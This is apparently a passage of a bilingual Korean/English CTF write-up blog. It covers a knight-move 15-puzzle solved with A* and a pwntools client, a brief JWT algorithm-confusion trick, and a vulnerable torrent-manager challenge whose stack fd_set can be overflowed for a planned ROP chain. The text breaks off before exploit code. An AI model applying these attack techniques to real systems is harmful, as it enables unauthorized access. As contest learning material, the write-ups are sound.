Inspecting the source code, it using JWT. Then, decoding phase, there is no explicit algorithm indication.
Thus, by crafting the JWT header, we can enforce server to use HS256 which is symmetric key cryptographical signiture.
대회가 진행중일때는 솔버수가 너무 낮아서 문제를 확인하지도 않았는데, 대회가 끝나고 나서 한번 풀어봤습니다.
I didn't even checked this problem during the contest due to too lower number of solvers.
After CTF finished, I just tried and solve this challenge.
15 puzzle은 일반적인 탐색 문제입니다. CTF와 같은 해킹 대회에서는 생소할 수 있지만, PS나 CP를 하는 사람들에게는 어느정도 풀어 볼 수 있는 기회가 있는 문제입니다. 학부때 인공지능 수업에서 일반적인 15 puzzle을 A* 알고리즘으로 풀어본적이 있었습니다. 그래서 이번 문제도 약간 변형되어 있긴 하지만, A* 알고리즘으로 풀 수 있을거라고 생각했습니다. 여기 나오는 15 puzzle은 인접한 칸과 바꾸는 것이 아닌, 체스의 나이트가 움직이는 범위의 칸과 바꿀 수 있다는 차이점이 있습니다.
15 puzzle is basic searching algorithm problem. It seems unfamiliar in security challenge like CTFs, for the people who are engaged in Problem solving or Competitive Programming area it could be familiar problem. I've seen this problem in artificial intelligence course in my university bachelor degree period. This problem can be solved with A* search algorithm. This is a little transformed version of 15 puzzle, but it is still solvable with A-star search algorithm.
The 15 puzzle have difference in movable range while classical 15 puzzle moves with adjacent 4 direction, this 15 puzzle moves like chess's knight.
Modeled to Graph Search Problem(그래프 탐색 문제로 모델링)
이 15 퍼즐문제는 그래프 탐색 문제로 모델링 될 수 있습니다. 모든 그래프 정점은 퍼즐의 상태를 타나내며, 처음 루트 노드는 15퍼즐의 입력 값에 따른 상태를 나타냅니다. 모든 노드들은 다른 노드로 간선이 연결되어 있으며, 만약 두개의 노드가 연결되어 있다면 한번의 움직임으로 해당 상태로 전환될 수 있다는 것을 뜻합니다.
아래 예시 그림에서는 루트 노드는 goal 상태를 나타냅니다. 루트 노드의 상태는 2개의 퍼즐 움직임이 가능한데, 이는 엣지로 연결된 자식 노드를 나타냅니다.
This 15 puzzle problem is a kind of graph search problem. This problem can be modeled to graph search.
Every graph node indicates the state of puzzle. Initial root node indicates input state of 15 puzzle. Every node has edge to other node. If two node is connected, it indicates that two node is both transformable with single move.
In this example diagram, the root node indicates the goal state. The root state 2 possible move, it is indicates as child node with edge.
이 탐색 문제를 풀기 위해서 우리는, BFS나 DFS같은 전통적인 탐색 알고리즘을 사용할 수 있습니다.
하지만 DFS는 최적화를 보장하지 않고, 따라서 시간이 너무 많이 걸릴 수 있습니다.
BFS 알고리즘은 최적회를 보장하지만 문제를 풀기에는 조금 느릴 수 있습니다.
To solve this search problem, we can use traditional search algorithm like BFS or DFS.
But DFS algorithm doesn't guarantee the optimal solution, so it could consume too much time.
BFS algorithm guarantee the optimal solution but it can be little bit slow to solve the problem.
A-star search algorithm
A* search algorithm can enhance search speed by prioritizing the node have more probability to reach the solution.
A* search algorithm seems very difficult, but there is nothring special than BFS(Breadth-First Search) graph searching algorithm.
In implementation level, there is one difference, while BFS uses simple queue, but A* uses priority queue.
Priority of node can be determined by heuristic function which is the core concept of A* algorithm.
You can use many kind of heuristic function to make this algorithm works, just not over estimating the node than real value.
Simple and naive heuristic function is the number of matched puzzle. I used this h-function, and I implemented this heuristic function as name hfunc.
Deciding unsolvable case
I refer the geeksforgeeks document to deciding the unsolvable case. In normal 15 puzzle case, unsolvable case can be detected with number of inversions. When puzzle moves, the number of inversion state alters.
Applying this rules to this type of problem, every puzzle moves, the number of inversion changes with odd number.
In goal state, number of inversions is 0(even number). From the goal state with one move, number of inversion is odd number. When number of inversion is odd number, with one move it alters to even number. The number of inversion's 2 modulo value is negated with every move.
solver.cpp
#include <bits/stdc++.h>
using namespace std;
typedef pair<int, int> pii;
typedef pair<int, vector<int> > State;
const int correct[4][4] = {
{0, 1, 2, 3},
{4, 5, 6, 7},
{8, 9, 10, 11},
{12, 13, 14, 15}
};
int puz[4][4];
int hfunc(int puz[][4]) {
int ret = 0;
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
ret += (correct[i][j] == puz[i][j] ? 1 : 0);
}
}
return ret;
}
vector<pii> movable;
void dump(vector<int>& arr) {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
printf("%3d ", arr[i * 4 + j]);
}
puts("");
}
puts("======================================");
}
void vec2arr(vector<int>& vec, int puz[][4]) {
for (int i = 0; i < 16; i++) {
int& v = vec[i];
puz[i / 4][i % 4] = v;
}
}
void arr2vec(int puz[][4], vector<int>& vec) {
vec.resize(16, 0);
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
vec[i * 4 + j] = puz[i][j];
}
}
}
void input() {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
scanf("%d", &puz[i][j]);
}
}
}
pii findzero(int puz[][4]) {
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
if (puz[i][j] == 0) return make_pair(i, j);
}
}
assert(false);
return make_pair(-1, -1);
}
bool isin(int x, int y) {
return x >= 0 && y >= 0 && x < 4 && y < 4;
}
char dir[8][3] = {
{-1, -2, 'q'},
{-2, -1, 'w'},
{-2, +1, 'e'},
{-1, +2, 'r'},
{+1, -2, 'a'},
{+2, -1, 's'},
{+2, +1, 'd'},
{+1, +2, 'f'}
};
void unsolvable() {
puts("unsolvable");
exit(EXIT_SUCCESS);
}
int main() {
input();
State state;
state.first = hfunc(puz);
arr2vec(puz, state.second);
pii zero = findzero(puz);
int inv = 0;
for (int i = 0; i < 16; i++) {
for (int j = i + 1; j < 16; j++) {
int a = state.second[i];
int b = state.second[j];
if (a > b) inv++;
}
}
int id = ((zero.first + zero.second) & 1);
if ((inv & 1) != id) {
unsolvable();
}
map<vector<int>, State> visited;
priority_queue<State> pq;
visited[state.second] = make_pair(-1, vector<int>()); //initial state!
pq.push(state);
while (pq.size()) {
State cur = pq.top(); pq.pop();
if (cur.first == 16) {
// puts("GOTCHA!");
State p = cur;
vector<char> move;
while (p.second.size()) {
if (visited[p.second].first != -1) {
move.push_back(dir[visited[p.second].first][2]);
}
//To dump intermediate puzzle state
//dump(p.second);
p = visited[p.second];
}
while (move.size()) {
putchar(move.back());
puts("");
move.pop_back();
}
return 0;
}
vec2arr(cur.second, puz); //puz <- 기존
pii zero = findzero(puz);
for (int k = 0; k < 8; k++) {
int nx = dir[k][0] + zero.first;
int ny = dir[k][1] + zero.second;
if (isin(nx, ny)) {
swap(puz[zero.first][zero.second], puz[nx][ny]); //위치 바꿈
State next;
next.first = hfunc(puz);
arr2vec(puz, next.second);
if (visited.find(next.second) == visited.end()) { //중복이 아닌 경우
visited[next.second] = make_pair(k, cur.second); //마지막 움직임 형태와, 기존 형태를 저장함
pq.push(next);
}
swap(puz[zero.first][zero.second], puz[nx][ny]); //원복 시킴
}
}
}
return 0;
}
do.py
#!/usr/bin/env python3
from pwn import *
import os
p = remote('puzzle.ctf.defenit.kr', 1515)
p.recvuntil("y/n)\n")
p.sendline("y")
def solve():
global p
with open("in.txt", "w") as f:
for i in range(0, 4):
f.write(p.recvuntil("\n").decode('utf-8'))
os.system("./solver < in.txt > out.txt")
with open("out.txt", "r") as f:
p.send(f.read())
resp = p.recvuntil("\n")[:-1].decode('utf-8')
if "Solved" not in resp:
return False
else:
return True
for i in range(0, 100):
solve()
p.interactive()
p.close()
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <vector>
#include <arpa/inet.h>
#include <algorithm>
/* globals */
fd_set *rfds;
int lastfd;
std::vector<int> listeners;
std::vector<int> admins;
int vhasele(std::vector<int> v, int ele) {
if(std::find(v.begin(), v.end(), ele) != v.end()) {
return 1; // has it
} else {
return 0; // doesn't have it
}
}
void vremove(std::vector<int> v, int ele) {
v.erase(std::remove(v.begin(), v.end(), ele), v.end());
}
void setfdlimit() {
struct rlimit fdlimit;
long limit;
limit = 65536;
fdlimit.rlim_cur = limit;
fdlimit.rlim_max = limit;
setrlimit(RLIMIT_NOFILE, &fdlimit);
FD_ZERO(rfds);
}
void nobuf() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void intro() {
puts("simple hybrid infrastructure torrent");
puts("enable simple distribution of files among your fleet of machines");
puts("used by it department the world over");
}
void printmenu() {
puts("《SHITorrent 》management console");
puts("[a]dd pc to manage");
puts("[r]emove pc from fleet");
puts("[w]ork");
puts("[q]uit");
puts("[g]et flag");
}
int add_node() {
char hostname[100] = {0};
char portstr[100] = {0};
int port = 0;
puts("enter host");
read(0, hostname, 99);
if(hostname[strlen(hostname) - 1] == '\n') {
hostname[strlen(hostname) - 1] = '\x00';
}
puts("enter port");
read(0, portstr, 99);
port = atoi(portstr);
struct sockaddr_in address;
int sock = 0, valread;
struct sockaddr_in serv_addr;
char *hello = "SHITorrent HELO\n";
char buffer[1024] = {0};
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("\n Socket creation error \n");
return -1;
}
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
// Convert IPv4 and IPv6 addresses from text to binary form
if(inet_pton(AF_INET, hostname, &serv_addr.sin_addr)<=0) {
printf("\nInvalid address/ Address not supported \n");
return -1;
}
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
printf("\nConnection Failed \n");
return -1;
}
send(sock , hello , strlen(hello) , 0 );
valread = read( sock , buffer, 1024);
if (strncmp("TORADMIN", buffer, strlen("TORADMIN"))) {
listeners.push_back(sock);
printf("added listener node %d\n", sock);
} else {
admins.push_back(sock);
FD_SET(sock, rfds);
printf("added sending node %d\n", sock);
}
if (sock > lastfd) {
lastfd = sock;
}
return 0;
}
void remove_node() {
char buf[256];
read(0, buf, 255);
int bufno = atoi(buf);
if (bufno > 2 && bufno <= lastfd) {
close(bufno);
}
if (vhasele(listeners, bufno)) {
vremove(listeners, bufno);
}
if (vhasele(admins, bufno)) {
vremove(admins, bufno);
if (FD_ISSET(bufno, rfds)) {
FD_CLR(bufno, rfds);
}
}
}
void dispatch_it(int fd) {
printf("dispatching from %d\n", fd);
char *buf = (char *)calloc(1, 4096);
int sz = read(fd, buf, 4096);
printf("getting %s\n", buf);
for (int i = 0; i < listeners.size(); i++) {
write(listeners[i], buf, sz);
}
free(buf);
}
void workit() {
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
int retval = select(FD_SETSIZE, rfds, NULL, NULL, &tv);
// Don't rely on the value of tv now!
if (retval) {
puts("DEBUG: ready to send out the data");
// FD_ISSET(0, &rfds) will be true.
for (int i = 3; i < lastfd; i++) {
if (FD_ISSET(i, rfds)) {
dispatch_it(i);
return;
}
}
} else {
printf("no data within 5 seconds quitting");
exit(0);
}
}
void notmain() {
for(;;) {
char buf[2];
printmenu();
read(0, buf, 2);
switch(buf[0]) {
case 'a':
{
add_node();
}
break;
case 'r':
{
remove_node();
}
break;
case 'w':
{
workit();
}
break;
case 'q':
{
return;
}
break;
case 'g':
{
puts("lol, just kidding");
}
break;
default:
{
puts("not supported");
}
break;
}
}
}
int main(int argc, char **argv) {
fd_set fds;
rfds = &fds;
lastfd = 2;
setfdlimit();
nobuf();
intro();
notmain();
return 0;
}
C++로 작성된 서버코드이다. 클라이언트 입장에서는 ip와 port를 넘겨준 뒤, 서버에서 접속을 시도하면 적절한 값을 리턴해서 admin모드이거나 일반 user 모드로 등록이 가능하다.
미티게이션
checksec으로 확인해보면 아래와 같이 나타난다.
NX가 활성화 되어 있고, 스택 까나리가 적용되어 있다.
취약점
소스코드를 보면 잘 모르는 자료구조와, 매크로 함수가 보이는데 fd_set, FD_SET, FD_ZERO, FD_ISSET, FD_CLR 이런 녀석들이다.
여기서 FD는 File descriptor의 약자라고 한다. 이 함수들과 자료구조는 여러개의 소캣들을 열어서 connection을 맺어 놓은 상태에서 관리하기 위해 존재한다고 한다.
소캣 fd를 bitmap 자료구조로 관리하는 거라고 한다. 만약 3번 소캣을 사용중이면 FD_SET(fd_set, 3) 이런식으로 해서 3번 비트를 1로 만들고, FD_CLR(fd_set, 3)이런 식으로해서 3번 비트를 0으로 되돌리는 방식으로 소캣들의 사용 유무를 관리할 수 있다고 한다.
그래서 총 1024개의 소캣들을 관리할 수 있는데, 즉 fd_set의 자료구조는 1024bit의 크기를 갖는다.
Anfd_setis a fixed size buffer. ExecutingFD_CLR() orFD_SET() with a value offdthat is negative or is equal to or larger thanFD_SETSIZEwill result in undefined behavior. Moreover, POSIX requiresfdto be a valid file descriptor.
fd_set는 고정 크기의 버퍼이므로, FD_SETSIZE를 넘는 값으로 FD_SET, FD_CLR 등을 호출하는 것은 Undefined behaivro이다. 라고 써있다. 바로 여기서 취약점이 나타난다.
FD_SETSIZE는 일반적으로 1024이며, 주어진 바이너리에서도 1024이다.
fd_set 자료구조를 보면 main context의 지역변수로 들어가게 되고, FD_CLR, FD_SET의 함수는 소캣 연결의 제한이 별도로 있지는 않다. (2^16이 제한인 듯 하다)
이를 이용해서 buffer overflow가 나타나게 된다.
mitigation들을 체크해보면 nx도 걸려있으므로, ROP chain을 구성해서 exploit을 하면 될 듯 하다.
익스플로잇
일단 익스플로잇을 하기 위해서는 서버단에서 접속이 가능한 ip와 port로 적절한 서비스를 열고 있어야 간편하다.
